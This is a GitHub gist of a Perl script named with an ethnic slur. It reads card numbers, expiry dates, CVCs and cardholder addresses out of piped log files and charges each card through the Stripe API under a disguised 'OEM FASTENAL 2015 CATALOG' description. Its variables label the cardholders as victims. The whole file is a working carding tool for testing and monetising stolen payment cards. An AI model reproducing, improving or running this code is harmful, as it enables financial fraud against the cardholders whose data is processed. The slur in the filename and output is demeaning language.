Skip to content

Instantly share code, notes, and snippets.

@jmcveigh
Created November 11, 2014 11:39
Show Gist options
  • Save jmcveigh/f31e697e37f3256cdcb1 to your computer and use it in GitHub Desktop.
Save jmcveigh/f31e697e37f3256cdcb1 to your computer and use it in GitHub Desktop.
chink.pl -- jmcveigh
#!/usr/bin/perl
# _________ .__ .__ __ .__
# \_ ___ \| |__ |__| ____ | | __ ______ | |
# / \ \/| | \| |/ \| |/ / \____ \| |
# \ \___| Y | | | | < | |_> | |__
# \______ |___| |__|___| |__|_ \ /\ | __/|____/
# \/ \/ \/ \/ \/ |__|
#
# usage 'cat c.log | chink.pl'
# usage 'tail -f c.log | chink.pl'
# usage < in mobile device ssh app > 'rlwrap cat | chink.pl'
# item 'approved cc xm xy cvc\n'
use warnings;
use integer;
use 5.016;
$| = 1;
use Business::Stripe;
use Geo::GeoNames;
use Data::Dumper qw(Dumper);
use File::Touch;
my $CONST_PRICE = 847;
my $ID_ANON = 4;
my $ID_VIC = 9;
my ($k,$g);
print "Parsing Stripe secret key from ~/.stripe.\n";
if(-r $ENV{"HOME"} . "/.stripe") {
open my $fh, "< " . $ENV{"HOME"} . "/.stripe";
if($fh) {
$k = <$fh>;
chomp $k;
close $fh;
}
}
print "Parsing GeoNames secret key from ~/.geonames.\n";
if(-r $ENV{"HOME"} . "/.geonames") {
open my $fh, "< " . $ENV{"HOME"} . "/.geonames";
if($fh) {
$g = <$fh>;
chomp $g;
close $fh;
}
}
if(-w $ENV{"HOME"} . "/.chink") {
# unlink $ENV{"HOME"} . "/.chink";
}
touch $ENV{"HOME"} . "/.chink";
$k || die "/.stripe could not be parsed.\n";
$g || die "/.geonames could not be parsed.\n";
my $stripe = Business::Stripe->new(
-api_key => $k
);
my $geo = new Geo::GeoNames(username => 'jwmcveigh', password => $g);
sub chun {
my ($cc,$xm,$xy,$cvc,$amt) = @_;
my $tok = chin($cc,$xm,$xy,$cvc);
if($tok) {
$stripe->charges_create(
amount => $amt,
card => $tok,
description => 'OEM FASTENAL 2015 CATALOG'
) && return 1;
return 0;
}
return 0;
}
sub chan {
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip,$amt) = @_;
my $tok = chang($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip);
if($tok) {
$stripe->charges_create(
amount => $amt,
card => $tok,
description => 'OEM FASTENERS 2015 CATALOG'
) && return 1;
return 0;
}
return 0;
}
sub chang {
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip) = @_;
my $result = $geo->search(q => $cit . ',' . $reg, maxRows => 1);
my $country = $result->[0]->{countryCode};
if($xy - 2000 <= 25) {
$xy += 2000;
}
my $tok = $stripe->api('post','tokens',
'card[number]' => $cc,
'card[exp_month]' => $xm,
'card[exp_year]' => $xy,
'card[cvc]' => $cvc,
'card[name]' => $name,
'card[address_line1]' => $addr1,
'card[address_city]' => $cit,
'card[address_state]' => $reg,
'card[address_zip]' => $zip,
'card[address_country]' => $country,
'currency' => 'usd'
);
if($tok) {
return($tok)
} else {
return(0);
}
}
sub chin {
my ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip) = @_;
my $tok = $stripe->api('post','tokens',
'card[number]' => $cc,
'card[exp_month]' => $xm,
'card[exp_year]' => "20" . $xy,
'card[cvc]' => $cvc,
'currency' => 'usd'
);
if($tok) {
return($tok)
} else {
return(0);
}
}
sub val_in_arr {
my ($arrref,$val) = @_;
my @arr = @{$arrref};
my $found = 0;
for my $el (@arr) {
if($el eq $val) {
$found = 1;
last;
}
}
return($found);
}
my @ccqueue;
my @ccpending;
my @ccq;
my @ccrun;
my $icount = 0;
sub charge {
my @row = @_;
my %ccruntbl = map {$_ => 1} @ccrun;
my $cc = $row[0] || '';
if($cc) {
if(val_in_arr(\@ccrun,$cc) == 0) {
given (scalar(@row)) {
when (/$ID_VIC/) {
if(&chan((@row,$CONST_PRICE)) == 1) {
print("chank [$icount]\n");
$icount++;
}
push @ccrun, $cc;
}
when (/$ID_ANON/) {
if(&chun((@row,$CONST_PRICE)) == 1) {
print("chink [$icount]\n");
$icount++;
}
}
}
push @ccrun, $cc;
}
}
}
my $regex_digits = '(\d{12,18})\s*(\d{2})[\s\/]*(\d{2,4})\s*(\d{2,5})';
my $regex_approved = '(a[p]{2}r|a(\sp){2}\sr)';
my $regex_vic = '([A-Za-z]+\s[A-Za-z]+)\s(\d+.*)\s([A-Za-z\s\-\.]+)\s([A-Z]{2,5})\s(\d{5})';
while(<>) {
if (m/$regex_digits/i && m/$regex_vic/ && m/$regex_approved/i) {
eval {
m/$regex_digits/;
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4);
m/$regex_vic/;
my($name,$addr1,$cit,$reg,$zip) = ($1,$2,$3,$4,$5);
if($cc && $xm && $xy && $cvc) {
if($name && $addr1 && $cit && $reg && $zip) {
# print "$cc $xm $xy $cvc\n";
my @buf = ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip);
charge(@buf);
}
}
};
} elsif(m/$regex_digits/i && !m/$regex_vic/ && m/$regex_approved/i) {
eval {
m/$regex_digits/;
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4);
if($cc && $xm && $xy && $cvc) {
# print "$cc $xm $xy $cvc\n";
if(val_in_arr(\@ccq,$cc)) {
my @ccqx = grep { $ccq[$_] eq $cc } 0..$#ccq;
splice(@ccq,@ccqx,$#ccqx);
for my $rowref (@ccpending) {
my @buf = @{$rowref};
charge(@buf);
}
} elsif(!val_in_arr(\@ccq,$cc)) {
my @buf = ($cc,$xm,$xy,$cvc);
charge(@buf);
}
}
};
} elsif(m/$regex_digits/i && m/$regex_vic/ && !m/$regex_approved/i) {
eval {
m/$regex_digits/;
my ($cc,$xm,$xy,$cvc) = ($1,$2,$3,$4);
m/$regex_vic/;
my($name,$addr1,$cit,$reg,$zip) = ($1,$2,$3,$4,$5);
if($cc && $xm && $xy && $cvc) {
if($name && $addr1 && $cit && $reg && $zip) {
my @buf = ($cc,$xm,$xy,$cvc,$name,$addr1,$cit,$reg,$zip);
my $ccref = \@buf;
push(@ccpending, $ccref);
push(@ccq,$cc);
}
}
};
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment